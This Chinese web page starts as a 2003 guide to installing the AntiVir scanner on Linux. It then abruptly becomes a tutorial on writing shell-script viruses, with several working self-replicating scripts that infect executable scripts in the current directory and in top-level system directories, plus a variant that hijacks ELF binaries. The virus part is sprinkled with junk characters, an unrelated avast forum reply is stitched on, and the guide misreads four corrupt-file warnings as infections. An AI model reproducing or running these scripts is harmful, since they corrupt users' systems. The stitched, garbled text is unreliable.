AntiVir安装和使用过程:
1.下载软件
从AntiVir的厂商网站下载软件,具体URL如下:
http://www.hbedv.com/download/download.htm
需要下载Linux版本的AntiVir的服务器端软件包,包名为avlxsrv.tgz。
http://www.hbedv.com/files/antivir/release/avlxsrv.tgz
2.安装AntiVir for Server
下载wget
http://www.hbedv.com/files/antivir/release/avlxsrv.tgz
解压到指定目录
# tar -xzpvf avlxsrv.tgz -C /var/local
# cd /var/local/antivir-server-2.0.8
阅读Readme
# more README
2.安装
[root@terry antivir-server-2.0.8]# ./install
Starting AntiVir for UNIX Server 2.0.8 installation...
安装过程会分步骤进行,每个步骤中会一些关于设定的问题,如果详细阅读了相关文档,就可以自己定制一些特殊的功能,请参阅相关文档,按默认的值一路按回车继续。直到以下文字出现,安装就完成了:
Here are some commands that you should remember...
AntiVir
=======
configure: /usr/lib/AntiVir/configantivir
Press <ENTER>to continue.
Installation of the following features complete:
AntiVir command line scanner
If you have any license key files, please copy them to /usr/lib/AntiVir
before running the software. Without a valid license key, it will
run in DEMO mode.
Be sure to read the README file for additional information.
Thank you for your interest in AntiVir for UNIX.
3.注册一个key
安装完成后,要去http://www.antivir.de/申请一个key,否则的话AntiVir就只能以DEMO方式运行。目前(2003年8月)的URL是http://www.antivir.de/order/privreg/order_e.htm,key会发到申请时填写的email信箱中,填写完注册页面后,大约几分钟后,将收到两个附件hbedv.key和lic_info.txt,将hdedv.key保存到本地后,将其复制到/usr/lib/AntiVir目录中:
# cp hbedv.key /usr/lib/AntiVir
这样你就可以使用到AntiVir的全部功能了,注册是不收费的:)
[root@terry /]# antivir
AntiVir / Linux Version 2.0.8-1
Copyright (C) 1994-2003 by H+BEDV Datentechnik GmbH.
All rights reserved.
Loading /usr/lib/AntiVir/antivir.vdf ...
VDF version: 6.21.0.2 created 22 Jul 2003
For private, non-commercial use only.
AntiVir license: 1001049056 for terry, shanghai
checking drive/path (cwd): /
----- scan results -----
directories: 1
files: 0
alerts: 0
scan time: 00:00:01
------------------------
Thank you for using AntiVir.
4.使用
取得一个key后,就可以使用到AntiVir的全部功能了。现在可以通过命令行启动AntiVir来进行杀毒工作了,以下是针对机器上/mykms目录中所有文件的一次杀毒工作,其命令和输入如下:
[root@terry /]# antivir /mykms/ -allfiles -s
AntiVir / Linux Version 2.0.8-1
Copyright (C) 1994-2003 by H+BEDV Datentechnik GmbH.
All rights reserved.
Loading /usr/lib/AntiVir/antivir.vdf ...
VDF version: 6.21.0.2 created 22 Jul 2003
For private, non-commercial use only.
AntiVir license: 1001049056 for terry, shanghai
checking drive/path (list): /mykms/
/mykms/SOS/An_Book_DB/eBook/UNIX/UNIX基础胶片.ppt
Date: 9.05.2003 Time: 06:25:00 Size: 4724736
warning: this OLE2 file may be corrupted
/mykms/SOS/An_Book_DB/eBook/中软安全/信息与网络安全现状与威胁.ppt
Date: 30.05.2003 Time: 01:51:00 Size: 1810944
warning: this OLE2 file may be corrupted
/mykms/SOS/An_Book_DB/eBook/中软安全/分布式网络信息监控与网络犯罪取证系统产品介绍0 418.ppt
Date: 30.05.2003 Time: 01:47:00 Size: 2705920
warning: this OLE2 file may be corrupted
/mykms/SOS/Knowledges/uml/arch4.ppt
Date: 25.04.2000 Time: 15:18:44 Size: 3030016
warning: this OLE2 file may be corrupted
----- scan results -----
directories: 2713
files: 47003
alerts: 0
warnings: 4
scan time: 00:25:30
------------------------
Thank you for using AntiVir.
可以注意到:
第一:系统有正确的key:AntiVir license: 1001049056 for terry, shanghai
第二:系统发现了4个受感染的文件,并且列出了文件名等信息
第三:系统用25分钟多扫完了47003个文件,给出了简单的扫描结果
antivir还有其它许多参数,需要时请用以下命令查询:
# antivir --help
5.安装图形化界面
可能命令行的方式不太友好,所以这里介始一个和AntiVir相配的图形化界面--tkantivir。tkantivir是用Tcl/Tk写的,可以运行在任何X-Windows环境下面,比如KDE或Gnome等。
下载
http://www.sebastian-geiges.de/tkantivir/
由于tkantivir是德国人开发的,所以在下载的时候要小心不要下载到德语版的。这里直接给出英语版本的下载地址如下:
http://www.sebastian-geiges.de/tkantivir/tkantivire-1.41-1.i386.rpm
安装
由于下载的是rpm包,所以安装过程非常简单,安装命令如下:
rpm -ivh tkantivire-1.41-1.i386.rpm
然后建立一个目录来存贮log文件
# mkdir /usr/lib/AntiVir/log
运行
# startx (进入KDE或者Gnome)
# tkantivir (在konsole中运行命令)
第一次运行时,会有一个如下的提示窗口d出,选“Yes”进行确认之后,会d出一个窗口显示扫描的具体情况。
有了这样的图形化界面,相信用过其它Windows下杀毒软件的人很容易熟悉它。这里特别提醒Linux的用户,对于Linux下的计算机病毒也不要大意。Linux下的病毒虽然远没有Windows多,但是病毒对于Linux的系统安全也是有很大危险的。目前Linux下的病毒解决方案也有很多,不仅仅是能扫除Linux的病毒,也能扫除Windows的病毒,这一点对于用Linux来做文件服务器或者是装多个 *** 作系统的用户大有帮助。
来看一个最原始的shell病毒,代码最能说明问题:---------------------------------------------------------
#shellvirus I
for file in *
do
cp $0 $file
done
--------------------------------------------------------- . ]2 |0 y9 I* w5 a# ~: b7 M
简单吧?遍历当前文件系统的所有文件,然后覆盖所有文件.但是,我们知道linux是多用户的 *** 作系统,它的文件是具有
保护模式的,所以以上的脚本有可能会报出一大堆的错误,所以它很快就会被管理员发现并制止它的传染.所以我们可以 E1 c. c1 o0 J! K" g% t
为该脚本做个判断,这样隐蔽性就大大增强了: - l1 x* l1 h# D
--------------------------------------------------------- 8 E. nK- l1 S2 y6 P% ?
#shellvirus II
for file in * 0 n* r2 x5 f2 J_
do # _, o4 |3 ~- M! T" g7 m7 L5 S
if test -f $file
then
if test -x $file ) g* x* n! W0 Z( B4 G3 |
then ! E" y7 |( G3 Z+ ~9 t
if test -w $file
then
if grep -s echo $file >.mmm
then * o0 ?&x7 b! M5 n
cp $0 $file @&P1 Y) {: P4 U$ ~
fififififi % ~' v' K% C! }* ^8 j7 O: M
done
rm .mmm -f + N- \" T# M1 w0 C
---------------------------------------------------------
ok.我们改进了一下,加了若干的判断,判断文件是否存在,是否文件可执行,是否我们有权限写,再判断它是否是脚本程序 2 D" v x% i' q&N
如果是就cp $0 $file,所以这段代码是感然该系统所有的脚本程序的,危害性还是比较大的.if grep -s echo $file>/.mmm
这句也可以这样写:if file $file | grep -s ‚Bourne shell script‚ >/dev/nul then,也就是判断file是否为shell
脚本程序. 8 I5 ^! _6 m- u) _2 {: G( \
但是,脚本病毒一旦在感染完毕之后就什么也不做了,它没有象二进制病毒那样的潜伏的危害性,而且以上的脚本只是简
单的覆盖宿主而已,所以我这里利用了一下传统的二进制病毒的感染机制,效果也不错,看看下面代码:
--------------------------------------------------------- . [! l( n. @* b/ C- s5 a+ m
#infection
head -n 24 $0 >.test<-取自身保存到.test % I' L, W" o% f5 V9 u7 ~. y9 g
for file in *<-遍历文件系统 @&c6 ]+ @) D. s$ a# h0 d
do
if test -f $file<-判断是否为文件 ) k7 ~7 p/ v* F&P7 z. N
then
if test -x $file<-判断文件是否可执行
then / V6 h* K~: M! [3 D7 R0 G% K
if test -w $file<-判断文件是否可写
then % ^% Dy5 F% V" G
if grep -s echo $file >.mmm<-判断是否为脚本程序
then
head -n 1 $file >.mm<-提取要感染的脚本程序的第一行
if grep -s infection .mm >.mmm<-判断该文件是否已经被感染 A3 Z# g4 k% s$ H+ y8 {
then
rm -f .mm<-已经被感染,则跳过
else<-还未被感染 1 F f$ j% w5 N8 H C' H
cat $file >.SAVEE<-很熟悉吧?借用了传统的二进制文件的感染机制
cat .test >$file
cat .SAVEE >>$file
fififififi
done
rm .test .SAVEE .mmm .mm -f 0 N+ ye' C* ]: r
-------------------------------------------------------- 9 h c4 E$ H. _9 j- D
程序的注解足以说明了,其实增加了潜伏的危害性,但还是特容易被发现,没办法的事情,shell脚本一般都是明文的,呵呵.不过
危害性已经相当大了.这段程序用了一个感染标志:infection来判断是否已经被感染,着在程序中可以反应出来. 5 @2 jM! {4 }' k8 I+ P
ok,为了使上面的代码不容易被发现,我必须优化它,最先考虑的肯定是精练代码:
-------------------------------------------------------- 3 e, o3 d, ^* |
#infection " Z8 o" S% `$ @. M1 Z _
for file in * do
if test -f $file &&test -x $file &&test -w $file then 4 v( L5 w3 K3 z) W" G/ ?
if grep -s echo $file >/dev/nul then
head -n 1 $file >.mm
if grep -s infection .mm >/dev/nul then
rm .mm -f else 2 j1 j$ e6 B* E6 G, k: Y. i
cat $file >.SAVEE * u! D7 C( L/ y/ f) r( F% R2 w9 M: z0 l
head -n 13 $0 >$file
cat .SAVEE >>$file
fififi $ I8 X M&\&T! Q# j9 b4 u2 _
done
rm .SAVEE .mm -f " f# I. U1 G+ C% @ T) A
--------------------------------------------------------
现在只有两个临时文件的产生了,代码也被精简到了13行.当然可以完全用来把代码甚至写到1-2行,但这里我只是说明问题,就 4 s% P8 H( m/ A' [ d/ k&k
不写出来了.
好,我们看看,shell病毒还能做哪些有用的事情,有可能我们想感染别的目录的文件,比如根目录或者是/etc,/bin等等,因为大多 &Y) |4 H# |) b% A" w
数有用的系统配置脚本都存放在那些目录下,只要对上述代码稍作改动就可以实现了 % [! @( ]1 A$ R% n/ z
--------------------------------------------------------
#infection
xtemp=$pwd<-保存当前路径
head -n 22 $0 >/.test
for dir in /* do<-遍历/目录
if test -d $dir then<-如果是目录就cd该目录
cd $dir
for file in * do<-遍历该目录文件
if test -f $file &&test -x $file &&test -w $file then<-确定文件是否可执行,可写
if grep -s echo $file >/dev/nul then<-确定是否为脚本程序
head -n 1 $file >.mm
if grep -s infection .mm >/dev/nul then<-确定是否已经被感染
rm .mm -f else &s6 _! g8 h' w, B/ c/ |
cat $file >/.SAVEE<-和前面的感染机制一样感染未被感染的脚本程序 8 T( q&a% [' s
cat /.test >$file
cat /.SAVEE >>$file
fififi $ R, l% c) y. f- I
done - j7 l&Q3 j2 w7 H* _
cd ..
fi
done &O( [: O9 L" E e( z\
cd $xtemp<-返回原目录
rm /.test /.SAVEE .mm -f ( _7 |' x. E: S. Z" s3 M
-------------------------------------------------------------
其实这段代码只感染了/目录下的一层目录.当然我们可以使它感染的更深,只是加几个循环而已.同样shell病毒可以做很多事情
如download后门程序,为机器自动开后门,主动去攻击联网的其他机器,取用户的email来发送传染等等.总之它的实现技术不高深,
但也比较实用,还是值得去说明一下的,呵呵.
同样,我们也可以感染elf文件,但危害性很小,这里不重点讲,给个例程大家理解一下吧
-------------------------------------------------------------
for file in * do
if test -f $file &&test -x $file &&test -w $file then J/ ?- ~# s% h[7 i6 @- f
if file $file | grep -s ‚ELF‚ >/dev/nul then
mv $file .$file
head -n 9 $0 >$file
fifi
done 6 H* o% e: l9 e- X. Y' U! d j
.$0' ]% |# H8 ?/ F
avast在linux下提供了avastgui这个软件包。exe文件肯定没用,要不你直接输入命令avastgui试试。要不就重新装一遍avast,不知道你用的哪个版本的linux,用fc的话,直接yum install avast命令,用ubuntu的话,下个rpm包安装。
不好意思,设置一个程序开机自动运行我还不会,反正我每次都是手动的
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)